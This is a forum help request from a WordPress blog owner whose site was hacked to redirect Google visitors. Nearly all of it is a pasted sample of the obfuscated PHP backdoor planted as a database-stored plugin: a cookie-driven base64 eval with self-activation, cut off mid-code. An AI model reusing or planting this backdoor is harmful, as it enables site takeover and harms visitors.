• Resolved patrickdappollonio

    (@patrickdappollonio)


    Hello,

    From the sunday, I’ve hacked by an unknowed. The hacker add a malicoious script when a visitors arrive from google, the script send them to another search page, with the same string that the user wants to find in Google.

    The hacker add this malicious code to an image of my weblog -an image of a post blog- and the hacker add the image to work like a plugin in the MySQL database.

    Here is the code of the image transformated in plugin:

    <?php /*?#?#,,sess,GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3RpdGFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3RpdGFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd */global $wpdb;/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd */$trp_rss=$wpdb->get_var/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd */(/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'"/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/); /* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/ preg_match/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/(/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/"!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/);/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3RpdGFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/ $trp_f=create_function/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/(/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
